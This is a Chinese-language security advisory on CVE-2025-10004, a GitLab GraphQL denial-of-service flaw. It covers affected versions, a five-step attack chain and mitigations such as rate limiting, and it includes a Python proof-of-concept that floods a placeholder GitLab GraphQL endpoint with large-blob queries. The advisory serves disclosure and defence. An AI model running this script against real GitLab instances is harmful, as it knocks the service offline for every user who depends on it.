IPBUF安全漏洞报告
English
CVE-2025-10004 CVSS 7.5 高危

CVE-2025-10004:GitLab GraphQL查询拒绝服务漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-10004
漏洞类型
拒绝服务攻击(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

拒绝服务DoSGitLabGraphQL资源耗尽未认证高危漏洞DevOps安全CVE-2025-10004

漏洞概述

GitLab是一个广泛使用的DevOps平台,提供代码托管、CI/CD、问题跟踪等功能。CVE-2025-10004是GitLab CE/EE中存在的一个高危拒绝服务漏洞,影响从13.12到18.4.2的多个版本。该漏洞源于GitLab的GraphQL API接口对大型仓库blob(Binary Large Object,二进制大对象)的请求处理存在缺陷。攻击者可以通过向GitLab实例的GraphQL端点发送精心构造的恶意查询,请求获取仓库中的大型blob数据,从而导致服务器资源被大量消耗。未经认证的远程攻击者可以利用此漏洞使GitLab实例完全失去响应或性能严重下降,影响所有依赖该平台进行代码管理、持续集成和团队协作的用户。该漏洞的CVSS评分为7.5,属于高危级别,攻击者无需认证即可通过网络发起攻击,且无需用户交互,攻击成功后主要影响系统的可用性。由于GitLab在企业开发流程中的核心地位,此漏洞可能对企业的研发效率和数据可访问性造成严重影响。GitLab已于2025年10月8日发布补丁版本18.4.2、18.3.4和18.2.8修复该问题。

技术细节

该漏洞存在于GitLab的GraphQL API接口中,具体涉及对仓库blob数据的查询处理机制。GraphQL是GitLab提供的一种灵活的API查询语言,允许客户端精确指定所需的数据字段。在正常情况下,客户端可以通过GraphQL查询请求获取仓库中的文件内容(blob)。然而,GitLab在处理针对大型blob的查询请求时缺乏有效的资源限制和速率控制机制。攻击者利用这一缺陷,构造特殊的GraphQL查询,指定请求仓库中体积巨大的blob文件。由于GraphQL的灵活性,单个查询可以同时请求多个大型blob,且服务器在处理这些请求时会消耗大量内存和网络带宽。当大量此类查询并发到达时,GitLab实例的服务器资源会被迅速耗尽,导致服务无法正常响应其他合法请求。具体而言,攻击者通过GraphQL的blobs字段或类似接口,指定较大的仓库提交哈希和文件路径,请求获取完整的大型文件内容。服务器在解析查询、定位文件、读取数据并返回结果的过程中,每个请求都会占用显著的内存和I/O资源。由于无需认证(PR:N),攻击者可以匿名发起攻击,进一步降低了利用门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标GitLab实例的GraphQL API端点(通常为/api/graphql),并查找公开的或可访问的仓库项目,特别是包含大型文件(如构建产物、日志文件、二进制文件)的项目。
STEP 2
步骤2:构造恶意查询
攻击者构造精心设计的GraphQL查询,通过blobs字段指定请求仓库中的大型blob文件,利用GraphQL的灵活性在单个查询中请求多个大型文件以最大化资源消耗。
STEP 3
步骤3:发起攻击
攻击者通过HTTP POST请求向GitLab的GraphQL端点发送恶意查询。由于漏洞无需认证即可利用,攻击者可以匿名发起攻击,无需任何凭证。
STEP 4
步骤4:资源耗尽
GitLab服务器在处理大型blob请求时消耗大量内存、CPU和网络带宽资源。攻击者通过并发发送大量此类请求,迅速耗尽服务器资源。
STEP 5
步骤5:服务不可用
GitLab实例变得无响应或性能严重下降,所有合法用户无法访问代码仓库、提交代码、运行CI/CD流水线或使用其他GitLab功能,造成业务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10004 PoC - GitLab GraphQL DoS via Large Blob Requests # This PoC demonstrates how to exploit the vulnerability by sending # crafted GraphQL queries requesting large repository blobs import requests import json TARGET_URL = "https://gitlab.example.com/api/graphql" # GraphQL query requesting large blobs from a repository GRAPHQL_QUERY = """ query GetLargeBlobs($projectPath: ID!) { project(fullPath: $projectPath) { repository { blobs(paths: ["large_file_1.bin", "large_file_2.bin", "large_file_3.bin"]) { nodes { name size rawBlob rawTextBlob } } } } } """ def exploit(target_url, project_path): """ Send crafted GraphQL query to exhaust server resources by requesting large repository blobs """ headers = { "Content-Type": "application/json", "Accept": "application/json" } payload = { "query": GRAPHQL_QUERY, "variables": { "projectPath": project_path } } # Send multiple concurrent requests to amplify the DoS effect for i in range(100): try: response = requests.post( target_url, headers=headers, json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request {i+1}: Error - {e}") if __name__ == "__main__": # Replace with target GitLab instance and a project containing large files exploit(TARGET_URL, "group/project-with-large-files")

影响范围

GitLab CE/EE >= 13.12, < 18.2.8
GitLab CE/EE >= 18.3.0, < 18.3.4
GitLab CE/EE >= 18.4.0, < 18.4.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过反向代理或防火墙限制GraphQL API端点(/api/graphql)的访问范围,仅允许可信网络访问;2)部署WAF规则,限制单个请求中请求的blob数量和大小;3)对GraphQL请求实施速率限制,例如每个IP每秒不超过10次请求;4)监控服务器资源使用情况,设置自动告警机制;5)临时禁用GraphQL API的blob查询功能(如果可行)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表